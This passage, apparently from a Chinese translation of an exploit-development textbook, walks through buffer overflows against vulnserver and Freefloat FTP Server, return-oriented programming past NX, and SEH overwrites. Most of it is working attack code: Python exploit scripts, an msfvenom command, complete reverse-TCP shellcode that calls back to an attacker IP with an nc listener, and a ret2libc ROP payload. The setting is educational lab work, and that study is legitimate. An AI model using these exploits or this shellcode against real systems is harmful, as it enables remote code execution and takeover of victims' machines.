x1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2Bh3Bh4Bh5Bh6Bh7Bh8Bh9Bi0Bi1Bi2Bi3Bi4Bi5Bi6Bi7Bi8Bi9Bj0Bj1Bj2Bj3Bj4Bj5Bj6Bj7Bj8Bj9Bk0Bk1Bk2Bk3Bk4Bk5Bk6Bk7Bk8Bk9Bl0Bl1Bl2Bl3Bl4Bl5Bl6Bl7Bl8Bl9Bm0Bm1Bm2Bm3Bm4Bm5Bm6Bm7Bm8Bm9Bn0Bn1Bn2Bn3Bn4Bn5Bn6Bn7Bn8Bn9Bo0Bo1Bo2Bo3Bo4Bo5Bo6Bo7Bo8Bo9Bp0Bp1Bp2Bp3Bp4Bp5Bp6Bp7Bp8Bp9Bq0Bq1Bq2Bq3Bq4Bq5Bq6Bq7Bq8Bq9Br0Br1Br2Br3Br4Br5Br6Br7Br8Br9Bs0Bs1Bs2Bs3Bs4Bs5Bs6Bs7Bs8Bs9Bt0Bt1Bt2Bt3Bt4Bt5Bt6Bt7Bt8Bt9Bu0Bu1Bu2Bu3Bu4Bu5Bu6Bu7Bu8Bu9Bv0Bv1Bv2Bv3Bv4Bv5Bv6Bv7Bv8Bv9Bw0Bw1Bw2Bw3Bw4Bw5Bw6Bw7Bw8Bw9Bx0Bx1Bx2Bx3Bx4Bx5Bx6Bx7Bx8Bx9By0By1By2By3By4By5By6By7By8By9Bz0Bz1Bz2Bz3Bz4Bz5Bz6Bz7Bz8Bz9Ca0Ca1Ca2Ca3Ca4Ca5Ca6Ca7Ca8Ca9Cb0Cb1Cb2Cb3Cb4Cb5Cb6Cb7Cb8Cb9Cc0Cc1Cc2Cc3Cc4Cc5Cc6Cc7Cc8Cc9Cd0Cd1Cd2Cd3Cd4Cd5Cd6Cd7Cd8Cd9Ce0Ce1Ce2Ce3Ce4Ce5Ce6Ce7Ce8Ce9Cf0Cf1Cf2Cf3Cf4Cf5Cf6Cf7Cf8Cf9Cg0Cg1Cg2Cg3Cg4Cg5Cg6Cg7Cg8Cg9Ch0Ch1Ch2Ch3Ch4Ch5Ch6Ch7Ch8Ch9Ci0Ci1Ci2Ci3Ci4Ci5Ci6Ci7Ci8Ci9Cj0Cj1Cj2Cj3Cj4Cj5Cj6Cj7Cj8Cj9Ck0Ck1Ck2Ck3Ck4Ck5Ck6Ck7Ck8Ck9Cl0Cl1Cl2Cl3Cl4Cl5Cl6Cl7Cl8Cl9Cm0Cm1Cm2Cm3Cm4Cm5Cm6Cm7Cm8Cm9Cn0Cn1Cn2Cn3Cn4Cn5Cn6Cn7Cn8Cn9Co0Co1Co2Co3Co4Co5Co6Co7Co8Co9Cp0Cp1Cp2Cp3Cp4Cp5Cp6Cp7Cp8Cp9Cq0Cq1Cq2Cq3Cq4Cq5Cq6Cq7Cq8Cq9Cr0Cr1Cr2Cr3Cr4Cr5Cr6Cr7Cr8Cr9Cs0Cs1Cs2Cs3Cs4Cs5Cs6Cs7Cs8Cs9Ct0Ct1Ct2Ct3Ct4Ct5Ct6Ct7Ct8Ct9Cu0Cu1Cu2Cu3Cu4Cu5Cu6Cu7Cu8Cu9Cv0Cv1Cv2Cv3Cv4Cv5Cv6Cv7Cv8Cv9Cw0Cw1Cw2Cw3Cw4Cw5Cw6Cw7Cw8Cw9Cx0Cx1Cx2Cx3Cx4Cx5Cx6Cx7Cx8Cx9Cy0Cy1Cy2Cy3Cy4Cy5Cy6Cy7Cy8Cy9Cz0Cz1Cz2Cz3Cz4Cz5Cz6Cz7Cz8Cz9Da0Da1Da2Da3Da4Da5Da6Da7Da8Da9Db0Db1Db2Db3Db4Db5Db6Db7Db8Db9Dc0Dc1Dc2Dc3Dc4Dc5Dc6Dc7Dc8Dc9Dd0Dd1Dd2Dd3Dd4Dd5Dd6Dd7Dd8Dd9De0De1De2De3De4De5De6De7De8De9Df0Df1Df2Df3Df4Df5Df6Df7Df8Df9Dg0Dg1Dg2Dg3Dg4Dg5Dg6Dg7Dg8Dg9Dh0Dh1Dh2Dh3Dh4Dh5Dh6Dh7Dh8Dh9Di0Di1Di2Di3Di4Di5Di6Di7Di8Di9Dj0Dj1Dj2Dj3Dj4Dj5Dj6Dj7Dj8Dj9Dk0Dk1Dk2Dk3Dk4Dk5Dk6Dk7Dk8Dk9Dl0Dl1Dl2Dl3Dl4Dl5Dl6Dl7Dl8Dl9Dm0Dm1Dm2Dm3Dm4Dm5Dm6Dm7Dm8Dm9Dn0Dn1Dn2Dn3Dn4Dn5Dn6Dn7Dn8Dn9Do0Do1Do2Do3Do4Do5Do6Do7Do8Do9Dp0Dp1Dp2Dp3Dp4Dp5Dp6Dp7Dp8Dp9Dq0Dq1Dq2Dq3Dq4Dq5Dq6Dq7Dq8Dq9Dr0Dr1Dr2Dr3Dr4Dr5Dr6Dr7Dr8Dr9Ds0Ds1Ds2Ds3Ds4Ds5Ds6Ds7Ds8Ds9Dt0Dt1Dt2Dt3Dt4Dt5Dt6Dt7Dt8Dt9Du0Du1Du2Du3Du4Du5Du6Du7Du8Du9Dv0Dv1Dv2Dv3Dv4Dv5Dv6Dv7Dv8Dv9Dw0Dw1Dw2Dw3Dw4Dw5Dw6Dw7Dw8Dw9Dx0Dx1Dx2Dx3Dx4Dx5Dx6Dx7Dx8Dx9Dy0Dy1Dy2Dy3Dy4Dy5Dy6Dy7Dy8Dy9Dz0Dz1Dz2Dz3Dz4Dz5Dz6Dz7Dz8Dz9Ea0Ea1Ea2Ea3Ea4Ea5Ea6Ea7Ea8Ea9Eb0Eb1Eb2Eb3Eb4Eb5Eb6Eb7Eb8Eb9Ec0Ec1Ec2Ec3Ec4Ec5Ec6Ec7Ec8Ec9Ed0Ed1Ed2Ed3Ed4Ed5Ed6Ed7Ed8Ed9Ee0Ee1Ee2Ee3Ee4Ee5Ee6Ee7Ee8Ee9Ef0Ef1Ef2Ef3Ef4Ef5Ef6Ef7Ef8Ef9Eg0Eg1Eg2Eg3Eg4Eg5Eg6Eg7Eg8Eg9Eh0Eh1Eh2Eh3Eh4Eh5Eh6Eh7Eh8Eh9Ei0Ei1Ei2Ei3Ei4Ei5Ei6Ei7Ei8Ei9Ej0Ej1Ej2Ej3Ej4Ej5Ej6Ej7Ej8Ej9Ek0Ek1Ek2Ek3Ek4Ek5Ek6Ek7Ek8Ek9El0El1El2El3El4El5El6El7El8El9Em0Em1Em2Em3Em4Em5Em6Em7Em8Em9En0En1En2En3En4En5En6En7En8En9Eo0Eo1Eo2Eo3Eo4Eo5Eo6Eo7Eo8Eo9Ep0Ep1Ep2Ep3Ep4Ep5Ep6Ep7Ep8Ep9Eq0Eq1Eq2Eq3Eq4Eq5Eq6Eq7Eq8Eq9Er0Er1Er2Er3Er4Er5Er6Er7Er8Er9Es0Es1Es2Es3Es4Es5Es6Es7Es8Es9Et0Et1Et2Et3Et4Et5Et6Et7Et8Et9Eu0Eu1Eu2Eu3Eu4Eu5Eu6Eu7Eu8Eu9Ev0Ev1Ev2Ev3Ev4Ev5Ev6Ev7Ev8Ev9Ew0Ew1Ew2Ew3Ew4Ew5Ew6Ew7Ew8Ew9Ex0Ex1Ex2Ex3Ex4Ex5Ex6Ex7Ex8Ex9Ey0Ey1Ey2Ey3Ey4Ey5Ey6Ey7Ey8Ey9Ez0Ez1Ez2Ez3Ez4Ez5Ez6Ez7Ez8Ez9Fa0Fa1Fa2Fa3Fa4Fa5Fa6Fa7Fa8Fa9Fb0Fb1Fb2Fb3Fb4Fb5Fb6Fb7Fb8Fb9Fc0Fc1Fc2Fc3Fc4Fc5Fc6Fc7Fc8Fc9Fd0Fd1Fd2Fd3Fd4Fd5Fd6Fd7Fd8Fd9Fe0Fe1Fe2Fe3Fe4Fe5Fe6Fe7Fe8Fe9Ff0Ff1Ff2Ff3Ff4Ff5Ff6Ff7Ff8Ff9Fg0Fg1Fg2Fg3Fg4Fg5Fg6Fg7Fg8Fg9Fh0Fh1Fh2Fh3Fh4Fh5Fh6Fh7Fh8Fh9Fi0Fi1Fi2Fi3Fi4Fi5Fi6Fi7Fi8Fi9Fj0Fj1Fj2Fj3Fj4Fj5Fj6Fj7Fj8Fj9Fk0Fk1Fk2Fk3Fk4Fk5Fk6Fk7Fk8Fk9Fl0Fl1Fl2Fl3Fl4Fl5Fl6Fl7Fl8Fl9Fm0Fm1Fm2Fm3Fm4Fm5Fm6Fm7Fm8Fm9Fn0Fn1Fn2Fn3Fn4Fn5Fn6Fn7Fn8Fn9Fo0Fo1Fo2Fo3Fo4Fo5Fo6Fo7Fo8Fo9Fp0Fp1Fp2Fp3Fp4Fp5Fp6Fp7Fp8Fp9Fq0Fq1Fq2Fq3Fq4Fq5Fq6Fq7Fq8Fq9Fr0Fr1Fr2Fr3Fr4Fr5Fr6Fr7Fr8Fr9Fs0Fs1Fs2Fs3Fs4Fs5Fs6Fs7Fs8Fs9Ft0Ft1Ft2Ft3Ft4Ft5Ft6Ft7Ft8Ft9Fu0Fu1Fu2Fu3Fu4Fu5Fu6Fu7Fu8Fu9Fv0Fv1Fv2Fv3Fv4Fv5Fv6Fv7Fv8Fv9Fw0Fw1Fw2Fw3Fw4Fw5Fw6Fw7Fw8Fw9Fx0Fx1Fx2Fx3Fx4Fx5Fx6Fx7Fx8Fx9Fy0Fy1Fy2Fy3Fy4Fy5Fy6Fy7Fy8Fy9Fz0Fz1Fz2Fz3Fz4Fz5Fz6Fz7Fz8Fz9Ga0Ga1Ga2Ga3Ga4Ga5Ga6Ga7Ga8Ga9Gb0Gb1Gb2Gb3Gb4Gb5Gb6Gb7Gb8Gb9Gc0Gc1Gc2Gc3Gc4Gc5Gc6Gc7Gc8Gc9Gd0Gd1Gd2Gd3Gd4Gd5Gd6Gd7Gd8Gd9Ge0Ge1Ge2Ge3Ge4Ge5Ge6Ge7Ge8Ge9Gf0Gf1Gf2Gf3Gf4Gf5Gf6Gf7Gf8Gf9Gg0Gg1Gg2Gg3Gg4Gg5Gg6Gg7Gg8Gg9Gh0Gh1Gh2Gh3Gh4Gh5Gh6Gh7Gh8Gh9Gi0Gi1Gi2Gi3Gi4Gi5Gi6Gi7Gi8Gi9Gj0Gj1Gj2Gj3Gj4Gj5Gj6Gj7Gj8Gj9Gk0Gk1Gk2Gk3Gk4Gk5Gk"
s.send(('TRUN .' + buffer + '\r\n'))
print s.recv(1024)
s.send('EXIT\r\n')
print s.recv(1024)
s.close()
现在,让我们运行 vulnserver。然后,以管理员身份打开 Immunity Debugger。导航到 文件 | 附加 并选择 vulnserver:
点击附加并运行程序。然后运行我们的攻击,并查看 Immunity Debugger 中发生了什么:
让我们查看寄存器内部:
现在,EIP 包含 396F4338
。让我们尝试从我们的攻击机器中找到这个模式:
./pattern_offset.rb -q 0x396f4338 -l 5000
上述命令的输出可以在以下截图中看到:
因此,为了控制指令指针,我们需要注入 2006
个 A。然后,我们需要 4 个字节来控制 EIP 寄存器,其余的将被注入为 shellcode(5000-2006-4
);这给我们 2990
个字符。让我们尝试一下,以确保我们走在正确的方向上:
#!/usr/bin/python
import socket
server = '172.16.89.131'
sport = 9999
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
connect = s.connect((server, sport))
print s.recv(1024)
buffer =''
buffer+= 'A'*2006
buffer+= 'B'*4
buffer+= 'C'*(5000-2006-4)
s.send(('TRUN .' + buffer + '\r\n'))
print s.recv(1024)
s.send('EXIT\r\n')
print s.recv(1024)
s.close()
这就是我们的有效载荷应该是什么样子的:
关闭 Immunity Debugger,然后重新启动应用程序。然后,再次启动利用代码。我们应该看到 Bs 被注入到 EIP 寄存器中:
成功了!我要再次使用 Immunity Debugger 进行重新检查。让我们来看看寄存器(FPU)里面的情况:
现在我们控制了 EIP 寄存器。让我们来看看堆栈里面的情况:
正如你所看到的,这里有我们的 As,然后是 4 个字节的 Bs,溢出了 EIP 寄存器,然后是299*0
个 Cs。
在下一章中,我们将在这些 Cs 中注入一个 shellcode。
总结
在本章中,我们经历了 fuzzing 以及如何使程序崩溃。然后,我们看到了如何使用 Metasploit Framework 获得 RIP 寄存器的确切偏移量,以及一种非常简单的注入 shellcode 的方法。最后,我们经历了一个完整的 fuzzing 示例,并控制了指令指针。
在下一章中,我们将继续我们的示例,看看如何找到一个地方放置 shellcode 并使其工作。此外,我们还将学习更多的缓冲区溢出技术。
第八章:Exploit 开发-第 2 部分
在本章中,我们将继续讨论 exploit 开发的话题。首先,我们将通过注入 shellcode 继续并完成我们之前的例子。然后,我们将讨论一种新的技术,用于避免 NX 保护机制(NX 将在最后一章中解释)。
以下是本章我们将涵盖的主题:
-
注入 shellcode
-
返回导向编程
-
结构化异常处理程序
注入 shellcode
现在,让我们继续上一章的例子。在我们控制了指令指针之后,我们需要做的是注入 shellcode 并将指令指针重定向到它。
为了实现这一点,我们需要为 shellcode 找一个家。实际上很容易;它只涉及跳转到堆栈。现在我们需要做的是找到那个指令:
- 启动 vulnserver,然后以管理员身份启动 Immunity Debugger,并从“文件”菜单中,附加到 vulnserver:
- 点击运行程序图标,然后右键单击并选择搜索;然后,在所有模块中选择所有命令来搜索应用程序本身或任何相关库中的任何指令:
- 然后我们需要做的是跳转到堆栈来执行我们的 shellcode;所以,让我们搜索
JMP ESP
指令并点击查找:
- 让我们从
kernel32.dll 7DD93132
复制JMP ESP
的地址,然后再次在 Immunity Debugger 中重新运行 vulnserver,并点击运行程序图标。
你可以使用任何库,不仅仅是kernel32.dll
。但是,如果你使用系统的库,比如kernel32.dll
,那么由于 ASLR 机制(将在最后一章中解释),每次 Windows 启动时地址都会改变;但如果你使用与应用程序相关而与系统无关的库,那么地址就不会改变。
- 然后,从攻击机器上,编辑我们的 exploit 如下:
#!/usr/bin/python
import socket
server = '172.16.89.131'
sport = 9999
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
connect = s.connect((server, sport))
print s.recv(1024)
buffer =''
buffer+= 'A'*2006
buffer += '\x32\x31\xd9\x7d'
buffer+= 'C'*(5000-2006-4)
s.send(('TRUN .' + buffer + '\r\n'))
print s.recv(1024)
s.send('EXIT\r\n')
print s.recv(1024)
s.close()
- 然后,运行 exploit。指令指针现在指向
43434343
,这是我们的C
字符:
- 现在我们准备插入我们的 shellcode。让我们使用 Metasploit Framework 创建一个:
$ msfvenom -a x86 -platform Windows -p windows/shell_reverse_tcp LHOST=172.16.89.1 LPORT=4321 -b '\x00' -f python
- 这个命令生成一个反向 TCP shell,连接回我的攻击机器的端口
4321
:
- 因此,我们的最终 exploit 应该是这样的:
#!/usr/bin/python
import socket
server = '172.16.89.131'
sport = 9999
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
connect = s.connect((server, sport))
print s.recv(1024)
junk = 'A'*2006 \\ Junk value to overflow the stack
eip = '\x32\x31\xd9\x7d' \\ jmp esp
nops = '\x90'*64 \\ To make sure that jump will be inside our shellcode
shellcode = ""
shellcode += "\xbb\x6e\x66\xf1\x4c\xd9\xe9\xd9\x74\x24\xf4\x5a\x2b"
shellcode += "\xc9\xb1\x52\x31\x5a\x12\x83\xea\xfc\x03\x34\x68\x13"
shellcode += "\xb9\x34\x9c\x51\x42\xc4\x5d\x36\xca\x21\x6c\x76\xa8"
shellcode += "\x22\xdf\x46\xba\x66\xec\x2d\xee\x92\x67\x43\x27\x95"
shellcode += "\xc0\xee\x11\x98\xd1\x43\x61\xbb\x51\x9e\xb6\x1b\x6b"
shellcode += "\x51\xcb\x5a\xac\x8c\x26\x0e\x65\xda\x95\xbe\x02\x96"
shellcode += "\x25\x35\x58\x36\x2e\xaa\x29\x39\x1f\x7d\x21\x60\xbf"
shellcode += "\x7c\xe6\x18\xf6\x66\xeb\x25\x40\x1d\xdf\xd2\x53\xf7"
shellcode += "\x11\x1a\xff\x36\x9e\xe9\x01\x7f\x19\x12\x74\x89\x59"
shellcode += "\xaf\x8f\x4e\x23\x6b\x05\x54\x83\xf8\xbd\xb0\x35\x2c"
shellcode += "\x5b\x33\x39\x99\x2f\x1b\x5e\x1c\xe3\x10\x5a\x95\x02"
shellcode += "\xf6\xea\xed\x20\xd2\xb7\xb6\x49\x43\x12\x18\x75\x93"
shellcode += "\xfd\xc5\xd3\xd8\x10\x11\x6e\x83\x7c\xd6\x43\x3b\x7d"
shellcode += "\x70\xd3\x48\x4f\xdf\x4f\xc6\xe3\xa8\x49\x11\x03\x83"
shellcode += "\x2e\x8d\xfa\x2c\x4f\x84\x38\x78\x1f\xbe\xe9\x01\xf4"
shellcode += "\x3e\x15\xd4\x5b\x6e\xb9\x87\x1b\xde\x79\x78\xf4\x34"
shellcode += "\x76\xa7\xe4\x37\x5c\xc0\x8f\xc2\x37\x43\x5f\x95\xc6"
shellcode += "\xf3\x62\x25\xd9\xe2\xea\xc3\xb3\xf4\xba\x5c\x2c\x6c"
shellcode += "\xe7\x16\xcd\x71\x3d\x53\xcd\xfa\xb2\xa4\x80\x0a\xbe"
shellcode += "\xb6\x75\xfb\xf5\xe4\xd0\x04\x20\x80\xbf\x97\xaf\x50"
shellcode += "\xc9\x8b\x67\x07\x9e\x7a\x7e\xcd\x32\x24\x28\xf3\xce"
shellcode += "\xb0\x13\xb7\x14\x01\x9d\x36\xd8\x3d\xb9\x28\x24\xbd"
shellcode += "\x85\x1c\xf8\xe8\x53\xca\xbe\x42\x12\xa4\x68\x38\xfc"
shellcode += "\x20\xec\x72\x3f\x36\xf1\x5e\xc9\xd6\x40\x37\x8c\xe9"
shellcode += "\x6d\xdf\x18\x92\x93\x7f\xe6\x49\x10\x8f\xad\xd3\x31"
shellcode += "\x18\x68\x86\x03\x45\x8b\x7d\x47\x70\x08\x77\x38\x87"
shellcode += "\x10\xf2\x3d\xc3\x96\xef\x4f\x5c\x73\x0f\xe3\x5d\x56"
injection = junk + eip + nops + shellcode
s.send(('TRUN .' + injection + '\r\n'))
print s.recv(1024)
s.send('EXIT\r\n')
print s.recv(1024)
s.close()
- 现在,让我们再次启动 vulnserver。然后,在我们的攻击机器上设置一个监听器:
$ nc -lp 4321
- 是时候尝试我们的 exploit 了,让我们保持对监听器的关注:
./exploit.py
- 然后,从我们的监听 shell 中,执行以下命令:
- 让我们使用
ipconfig
来确认一下:
- 现在我们控制了我们的受害机器!
返回导向编程
什么是返回导向编程(ROP)?
让我们用最简单的方式解释 ROP 是什么。ROP 是一种技术,即使启用了 NX,也可以利用缓冲区溢出漏洞。ROP 技术可以使用 ROP 小工具绕过 NX 保护技术。
ROP 小工具是存储在内存中的机器指令地址序列。因此,如果我们能够改变执行流到这些指令中的一个,那么我们就可以控制应用程序,并且可以在不上传 shellcode 的情况下做到这一点。此外,ROP 小工具以ret
指令结尾。如果你还没有明白,没关系;我们将进行一个例子来完全理解 ROP 是什么。
所以,我们需要安装 ropper,这是一个在二进制文件中查找 ROP 小工具的工具。你可以通过它在 GitHub 上的官方存储库下载它(github.com/sashs/Ropper
),或者你可以按照这里给出的说明:
$ sudo apt-get install python-pip
$ sudo pip install capstone
$ git clone https://github.com/sashs/ropper.git
$ cd ropper
$ git submodule init
$ git submodule update
让我们看看下一个有漏洞的代码,它将打印出Starting /bin/ls
。执行overflow
函数,它将从用户那里获取输入,然后打印出来以及输入的大小:
#include <stdio.h>
#include <unistd.h>
int overflow()
{
char buf[80];
int r;
read(0, buf, 500);
printf("The buffer content %d, %s", r, buf);
return 0;
}
int main(int argc, char *argv[])
{
printf("Starting /bin/ls");
overflow();
return 0;
}
让我们编译它,但不要禁用 NX:
$ gcc -fno-stack-protector rop.c -o rop
然后,启动gdb
:
$ gdb ./rop
现在,让我们确认 NX 是否已启用:
$ peda checksec
前面命令的输出可以在以下截图中看到:
现在,让我们使用 PEDA 执行模糊测试并控制 RIP,而不是使用 Metasploit 框架:
$ peda pattern_create 500 pattern
这将创建一个包含500
个字符的模式,并将文件保存为pattern
。现在,让我们将这个模式作为输入读取:
$ run < pattern
前面命令的输出可以在以下截图中看到:
程序崩溃了。下一步是检查栈中的最后一个元素,以计算 EIP 的偏移量:
$ x/wx $rsp
我们得到了栈中的最后一个元素为0x41413741
(如果你使用相同的操作系统,这个地址应该是一样的)。现在,让我们看看这个模式的偏移量和下一个偏移量是否是 RIP 的确切偏移量:
$ peda pattern_offset 0x41413741
前面命令的输出可以在以下截图中看到:
RIP 的确切偏移将从105
开始。让我们也确认一下:
#!/usr/bin/env python
from struct import *
buffer = ""
buffer += "A"*104 # junk
buffer += "B"*6
f = open("input.txt", "w")
f.write(buffer)
这段代码应该用六个B
字符溢出 RIP 寄存器:
$ chmod +x exploit.py
$ ./exploit.py
然后,从 GDB 内部运行以下命令:
$ run < input.txt
前面命令的输出可以在以下截图中看到:
前面的截图表明我们正在朝着正确的方向前进。
由于 NX 已启用,我们无法上传和运行 shellcode,所以让我们使用返回到 libc 的 ROP 技术,这使我们能够使用来自 libc 本身的调用,这可能使我们能够调用函数。在这里,我们将使用system
函数来执行 shell 命令。让我们看一下system
的 man 页面:
$ man 3 system
前面命令的输出可以在以下截图中看到:
我们需要的是system
函数的地址,以及 shell 命令字符串的位置——幸运的是,我们在/bin/ls
代码中有这个。
我们所做的唯一的事情就是将字符串的位置复制到栈中。现在,我们需要找到一种方法将位置复制到 RDI 寄存器,以启用系统函数执行ls
命令。因此,我们需要 ROP 小工具,它可以提取字符串的地址并将其复制到 RDI 寄存器,因为第一个参数应该在 RDI 寄存器中。
好的,让我们从 ROP 小工具开始。让我们搜索与 RDI 寄存器相关的任何 ROP 小工具。然后,导航到你安装 ropper 的位置:
$ ./Ropper.py --file /home/stack/buffer-overflow/rop/rop --search "%rdi"
前面命令的输出可以在以下截图中看到:
这个 ROP 小工具很完美:pop rdi; ret;
,地址为0x0000000000400653
。现在,我们需要从 GDB 内部找出system
函数在内存中的确切位置:
$ p system
前面命令的输出可以在以下截图中看到:
现在,我们还得到了system
函数的地址,为0x7ffff7a57590
。
在你的操作系统上,这个地址可能会有所不同。
让我们使用 GDB 获取/bin/ls
字符串的位置:
$ find "/bin/ls"
前面命令的输出可以在以下截图中看到:
现在,我们已经得到了带有地址0x400697
的字符串的位置。
栈的逻辑顺序应该是:
-
system
函数的地址 -
将被弹出到 RDI 寄存器的字符串指针
-
ROP 小工具用于提取 pop,即栈中的最后一个元素到 RDI 寄存器
现在,我们需要以相反的顺序将它们推入栈中,使用我们的利用代码:
#!/usr/bin/env python
from struct import *
buffer = ""
buffer += "A"*104 # junk
buffer += pack("<Q", 0x0000000000400653) # <-- ROP gadget
buffer += pack("<Q", 0x400697) # <-- pointer to "/bin/ls"
buffer += pack("<Q", 0x7ffff7a57590) # < -- address of system function
f = open("input.txt", "w")
f.write(buffer)
让我们运行脚本来更新input.txt
:
$ ./exploit.py
然后,从 GDB 中运行以下命令:
$ run < input.txt
栈的逻辑顺序应该是:
成功了!正如你所看到的,ls
命令成功执行了。我们找到了绕过 NX 保护并利用这段代码的方法。
结构化异常处理
结构化异常处理(SEH)只是在代码执行过程中发生的事件。我们可以在高级编程语言中看到 SEH,比如 C++和 Python。看一下下面的代码:
try:
divide(6,0)
except ValueError:
print "That value was invalid."
这是一个除零的例子,会引发异常。程序应该改变执行流到其他地方,做里面的任何事情。
SEH 由两部分组成:
-
异常注册记录(SEH)
-
下一个异常注册记录(nSEH)
它们以相反的顺序推入堆栈。那么现在如何利用 SEH 呢?就像普通的堆栈溢出一样简单:
这就是我们的利用程序应该看起来的样子。我们需要的是将一条指令pop pop ret推入SEH,以使跳转到nSEH。然后,将一条跳转指令推入nSEH,以使跳转到 shellcode;因此,我们的最终 shellcode 应该是这样的:
我们将在第十一章,真实场景-第 3 部分中涵盖一个实际场景,关于利用 SEH。
摘要
在这里,我们简要讨论了利用程序的开发,从 fuzzing 开始,以及如何控制指令指针。然后,我们看到了如何为 shellcode 找到一个家园,并改变执行流到该 shellcode。最后,我们讨论了一种称为 ROP 的技术,用于绕过 NX 保护技术,并快速了解了 SEH 利用技术。
在下一章中,我们将通过真实场景来构建一个真实应用的利用程序。
第九章:现实世界的场景-第 1 部分
现在,我们将通过在真实目标上练习 fuzzing、控制指令指针和注入 shellcode 来总结本书。我将浏览exploit-db.com,并从中选择真实目标。
Freefloat FTP Server
让我们从这里下载 Freefloat FTP Server v1.0,开始吧:
www.exploit-db.com/apps/687ef6f72dcbbf5b2506e80a375377fa-freefloatftpserver.zip
。此外,您还可以在www.exploit-db.com/exploits/40711/
上看到 Windows XP 上的利用程序。
Freefloat FTP Server 有许多易受攻击的参数,可以用来练习,我们将在这里选择其中一个进行全面练习:
现在,让我们在我们的 Windows 机器上从www.exploit-db.com/apps/687ef6f72dcbbf5b2506e80a375377fa-freefloatftpserver.zip
下载它并解压缩。现在,打开它的目录,然后打开 Win32,并启动 FTP 服务器。它将显示在右上角的任务栏中。打开它以查看配置:
易受攻击的服务器正在端口21
上运行。让我们从攻击机上使用nc
确认一下。
首先,我们受害机的 IP 地址是192.168.129.128
:
然后从攻击机上执行以下命令:
$ nc 192.168.129.128 21
前面命令的输出可以在以下截图中看到:
让我们尝试匿名访问:
$ USER anonymous
$ PASS anonymous
前面命令的输出可以在以下截图中看到:
我们成功了!如果我们专注于USER
参数呢?
Fuzzing
由于手动使用nc
命令的方式不高效,让我们使用 Python 语言构建一个脚本来执行:
#!/usr/bin/python
import socket
import sys
junk =
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
connect = s.connect(('192.168.129.128',21))
s.recv(1024)
s.send('USER '+junk+'\r\n')
现在,让我们尝试使用USER
参数进行 fuzzing 阶段。让我们从junk
值为50
开始:
#!/usr/bin/python
import socket
import sys
junk = 'A'*50
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
connect = s.connect(('192.168.129.128',21))
s.recv(1024)
s.send('USER '+junk+'\r\n')
然后从我们的受害机上,让我们将 Freefloat FTP Server 附加到 Immunity Debugger 中,并运行程序一次:
让我们注册一下内容:
然后,确保程序处于运行状态:
现在,让我们运行我们的利用程序,然后看看 Immunity Debugger:
$ ./exploit.py
前面命令的输出可以在以下截图中看到:
什么都没发生!让我们把垃圾值增加到200
:
#!/usr/bin/python
import socket
import sys
junk = 'A'*200
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
connect = s.connect(('192.168.129.128',21))
s.recv(1024)
s.send('USER '+junk+'\r\n')
让我们重新运行这个利用程序,并观察 Immunity Debugger:
$ ./exploit.py
前面命令的输出可以在以下截图中看到:
再次什么都没发生;让我们增加到500
:
#!/usr/bin/python
import socket
import sys
junk = 'A'*500
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
connect = s.connect(('192.168.129.128',21))
s.recv(1024)
s.send('USER '+junk+'\r\n')
然后,运行利用程序:
$ ./exploit.py
前面命令的输出可以在以下截图中看到:
程序崩溃了!让我们也看看寄存器:
指令指针被我们的垃圾填满了:
栈也像预期的那样填满了垃圾值,这将带我们进入下一个阶段。
控制指令指针
在这个阶段,我们将通过计算 EIP 寄存器的确切偏移量来控制指令指针。
让我们像之前一样使用 Metasploit Framework 创建模式:
$ cd /usr/share/metasploit-framework/tools/exploit/
$ ./pattern_create.rb -l 500
前面命令的输出可以在以下截图中看到:
这是我们的模式,所以利用程序应该是这样的:
#!/usr/bin/python
import socket
import sys
junk = 'Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq'
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
connect = s.connect(('192.168.129.128',21))
s.recv(1024)
s.send('USER '+junk+'\r\n')
关闭 Immunity Debugger,重新运行 Freefloat FTP Server,并将其附加到 Immunity Debugger。然后,运行程序:
$ ./exploit.py
前面命令的输出可以在以下截图中看到:
EIP 中的当前模式是37684136
:
我们已经在 EIP 中找到了模式;现在,让我们获取它的确切偏移量:
$ cd /usr/share/metasploit-framework/tools/exploit/
$ ./pattern_offset.rb -q 37684136 -l 500
前面命令的输出可以在以下截图中看到:
它在偏移量230
;让我们确认一下:
#!/usr/bin/python
import socket
import sys
junk = 'A'*230
eip = 'B'*4
